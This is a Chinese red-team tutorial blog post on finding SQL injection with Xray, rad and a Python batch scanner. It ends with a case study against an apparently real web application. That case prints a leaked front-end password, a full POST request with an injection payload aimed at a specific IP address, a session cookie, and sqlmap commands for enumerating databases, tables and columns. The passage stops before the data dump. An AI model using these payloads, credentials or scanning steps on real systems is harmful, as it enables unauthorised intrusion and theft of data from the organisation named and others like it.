
redteam-打点(针对性SQL注入扫描)
本文提供的资料和信息仅供学习交流,不得用于非法用途;
对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;
本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除
本文来源:大白哥红队攻防演练课程(Des师傅授课部分)
需要咨询课程详情,请扫下方二维码添加大白哥绿泡泡
一、SQL注入
在第一轮打点中,使用nday对各大框架漏洞、OA漏洞等进行测试,发现没有利用点的时候,可以考虑使用Xray进行全局的SQL注入。
通过Xray进行批量自动化漏扫(单独跑SQL注入,提高效率)
可以编辑Xray的配置文件,使得配置文件中只包含SQL注入(将其它功能点改为false,只留下sql注入的为true)
这种方法可以提高找到sql注入的效率,因为第一轮中已经把所有URL进行JS识别、漏扫、指纹识别等都做了一遍了,这种情况下就可以针对性地对sql漏洞进行扫描
xray+rad联动(提高准确性)
原理:rad是一款爬虫工具,xray在爬取网页方面不如rad全面,所以可以使用rad对URL进行深度爬取,然后代理给xray(将爬取的结果以http包的形式转发给xray),实现快速扫描实现更全面的扫描
rad下载地址:https://github.com/chaitin/rad
实现方式
xray开启被动扫描
xray.exe webscan --listen 127.0.0.1:7777 --html-output 1.html
启动rad对目标URL进行爬取
//对目标进行爬取,代理到xray上
rad.exe -t http://example.com -http-proxy 127.0.0.1:7777 --no-banner
使用python脚本进行批量化扫描
import threading
import time
import os
print("""选择要扫描的类型:
1 【rad+xray批量扫描】\033[31mxray: ./xray webscan --listen 127.0.0.1:7777 --html-output bug.html\033[0m
2 【xray被动扫描(配合awvs和bp)】
3 【rad单个爬取,导出为TXT文件】
""")
choice = input('请输入数字:')
localtime = time.localtime(time.time())
time_n = time.strftime("%Y%m%d%H%M%S", time.localtime())
if choice == '1':
def rad(url):
exp_rad=("rad.exe -t {} -http-proxy 127.0.0.1:7777 --no-banner").format(url)
os.system(exp_rad)
if __name__ == "__main__":
urls = open('url.txt')
for text in urls.readlines():
data1 = text.strip('\n')
rad(data1)
elif choice == '2':
print("\n\033[1;32m[+]在挖了在挖了5555~\033[0m")
exp = (("./xray webscan --listen 127.0.0.1:7777 --html-output {}.html").format(time_n))
os.system(exp)
elif choice == '3':
url = input("url:")
print("\n\033[1;32m[+]在爬了在爬了5555~\033[0m")
exp = (("./rad -t {} -text-output {}.txt").format(url,time_n))
os.system(exp)
else:
print('\n\033[1;31m[-] 不要做伞兵\033[0m')
tips:
使用rad时可能会报毒
解决方法:将rad配置文件(
rad_config.yml
)中,leakless的值改为false
注意
Xray有时候在检测时间盲注的时候可能会出错:
由于Xray的发包量太高了,服务器忙不过来的情况下就有可能延时返回,甚至是不返回,这种情况下Xray就有可能会把这些包放掉,当作请求包无法连接到目标,导致攻击被过滤掉,没有形成漏洞报告
也有可能payload设置
sleep()
的时间为1-3秒,而刚好服务器响应的时间就是1-3秒,就有可能导致误报
针对时间盲注这一点,如果是Xray扫描出来的结果中存在时间盲注,可以访问对应的URL,使用Burp抓包,将Xray中显示的请求包复制到Repeater进行重放验证
二、SQLMAP案例
通过findersomething插件,发现前端有密码泄露,从而进入后台
function checkLogin() {
$.ajax({
url: "ashx/DefaultHandler.ashx?action=checkLogin",
//data: { username: "普通用户", password: "Bzt2023!", savedays: 7 },
success: function (d) {
if (d == 0) {
进了后台以后,在搜索框查询数据、设置每一页能够显示的最大数据量(比如一页最多显示10行,可以改成20行)、添加用户、修改信息等等操作,都会触发数据库的增删改查,都会跟数据库进行交互,而在查询和修改这个两个操作中,很容易出现SQL注入。对于这些功能点如果只是手工测试(写单引号等)的话,效率不高,也有可能会错过很多有用的东西,所以还是可以使用Xray进行针对性的扫描。
可以将Xray的并发量调低,使得结果更精准。请求数过大可能导致结果不稳定,特别是目标的带宽处理能力很低的话,发包速率越低,结果可能就会更精准。
通过普通用户的账号密码,进了后台以后,发现一个查询的地方(
query
)存在sql注入,通过sqlmap跑库,最终拿到管理员的帐号密码
POST /PDCA/ashx/CommentStandardHandler.ashx?action=query&code=186185&n=0.39402260509034737 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 203
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ASP.NET_SessionId=iponmsonjait5cedpvxcten0; HXLING-BPM-COOKIE-NAME=HXLING-BPM-COOKIE-USERNAME=%e6%99%ae%e9%80%9a%e7%94%a8%e6%88%b7&expires=1&HXLING-BPMCOOKIE-PASSWORD=XlSMFeO%2boAychJmuRxMXPA%3d%3d
Origin: http://111.204.228.44:8099
Referer: http://111.204.228.44:8099/PDCA/ComStandardSearch.aspx?
navid=689&code=186185&treeChildrens=186185&usernames=%E5%8C%97%E4%BA%AC%E5%B8%82%E6%B0%B4%E5%88%A9%E8%A7%84%E5%88%92%E8%AE%BE%E8%AE%A1%E7%A0%94%E7%A9%B6%E9%99%A2
X-Forward-For: 127.0.0.1
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
IsQt=0&action=query&isbuy=0&isfile=0&isstruct=0&page=1&rows=20&searchValue=11&status=1%2C2%2C3%2C4&treeChildrens=convert%28int%2Csys.fn_sqlvarbasetostr%28HashBytes%28%27MD5%27%2C%271925535499%27%29%29%29
查询数据库
--risk=3 --level=3 --threads 10 -dbs --batch --tamper "space2comment.py" -v 5
查询表名
--risk=3 --level=3--threads 10--batch--tamper "space2comment.py" -D XXX --tables
查询表中字段
--risk=3 --level=3--threads 10--batch--tamper "space2comment.py" -D XXX -T XXX --columns
查询表中10行数据